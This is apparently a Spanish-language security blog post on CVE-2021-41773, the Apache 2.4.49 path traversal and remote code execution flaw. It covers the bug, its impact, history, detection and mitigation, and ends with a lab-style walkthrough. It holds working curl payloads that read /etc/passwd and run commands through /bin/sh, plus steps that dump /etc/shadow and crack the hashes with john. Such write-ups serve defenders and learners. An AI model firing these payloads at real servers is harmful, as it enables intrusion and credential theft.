cd ~/blog

~/vulns/apache-path-traversal-rce-cve-2021-41773.md

Apache Path Traversal RCE (CVE-2021-41773)

rce 18-06-2026
Apachepath-traversalRCE

~2 min de lectura


1. Descripción técnica del ataque

CVE-2021-41773 es una vulnerabilidad de path traversal (y, bajo ciertas condiciones, ejecución remota de código) en Apache HTTP Server 2.4.49. Un cambio en la normalización de rutas de esa versión hizo que el saneo de %2e (la codificación de .) fuera insuficiente, permitiendo a un atacante escapar del DocumentRoot mediante secuencias como /cgi-bin/.%2e/.

Consecuencias:

  • Lectura de archivos arbitrarios fuera del directorio web (p. ej. /etc/passwd), siempre que las rutas no estén protegidas por require all denied.
  • Ejecución remota de código si mod_cgi está habilitado: se puede invocar un binario del sistema (como /bin/sh) a través del traversal y pasarle comandos en el cuerpo de la petición.

El parche inicial (2.4.50) resultó incompleto, dando lugar a CVE-2021-42013, que reintroduce el problema con doble codificación (%%32%65).

2. Impacto de la vulnerabilidad

  • Divulgación de archivos sensibles del servidor (/etc/passwd, /etc/shadow si los permisos lo permiten, configuraciones, claves).
  • RCE no autenticado cuando mod_cgi está activo → compromiso del servidor con los privilegios de Apache.
  • Afectó a miles de servidores expuestos; fue explotada de forma masiva poco después de su publicación.

3. Historia y evolución

  • Octubre de 2021: Apache publica CVE-2021-41773 para la 2.4.49. En días se observan exploraciones masivas.
  • El parche de la 2.4.50 se descubre incompleto → CVE-2021-42013 (doble encoding).
  • La solución definitiva llega con Apache 2.4.51.

4. Factores que la hacen posible

  1. Apache HTTP Server 2.4.49 (o 2.4.50 para la variante 42013).
  2. Rutas accesibles sin require all denied (configuración por defecto relajada, p. ej. un alias /cgi-bin/).
  3. Para el RCE: mod_cgi habilitado.

5. Detección

  • Fingerprint de versión:
nmap -sV -p80 target   # Apache httpd 2.4.49 ((Unix))
  • Lectura de archivo (path traversal):
curl -s --path-as-is "http://target/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd"
  • Prueba de RCE (con mod_cgi):
curl -s --path-as-is -d "echo Content-Type: text/plain; echo; id" \
  "http://target/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"

6. Mitigación

  1. Actualizar a Apache 2.4.51 o posterior.
  2. Configurar require all denied para los directorios fuera del DocumentRoot.
  3. Deshabilitar mod_cgi si no se usa.

7. Ejemplo de explotación real

Identificada la versión 2.4.49, usamos un exploit público para leer /etc/passwd y /etc/shadow, y luego crackeamos con john:

 searchsploit apache | grep 2.4.49
Apache HTTP Server 2.4.49 - Path Traversal & Remote Code Execution (RCE)     | multiple/webapps/50383.sh

 python CVE-2021-41773.py -t 192.168.1.43
--------------------------------------------------------
|                Apache2 2.4.49 - Exploit              |
--------------------------------------------------------
>>>

# tras volcar passwd y shadow:
 /opt/john/run/unshadow passwd shadow > unshadow.txt
 /opt/john/run/john -w=rockyou.txt unshadow.txt
iamtheone        (squanto)

8. Clasificación

  • Tipo: Path Traversal → Information Disclosure / Remote Code Execution
  • CVE: CVE-2021-41773 (y CVE-2021-42013 para la variante de doble encoding)
  • CWE:
    • CWE-22 – Improper Limitation of a Pathname to a Restricted Directory (Path Traversal)
    • CWE-98 / CWE-78 – según el vector (inclusión / OS command injection vía CGI)

9. Resumen

CVE-2021-41773 afecta a Apache 2.4.49 (y 2.4.50 → CVE-2021-42013) permitiendo path traversal y, con mod_cgi, RCE no autenticado mediante secuencias .%2e/. La defensa es actualizar a 2.4.51 y restringir el acceso a rutas con require all denied. Suele usarse para volcar /etc/passwd y /etc/shadow y crackear credenciales. Relacionada con LFI (Local File Inclusion) como divulgación de archivos.

// relacionados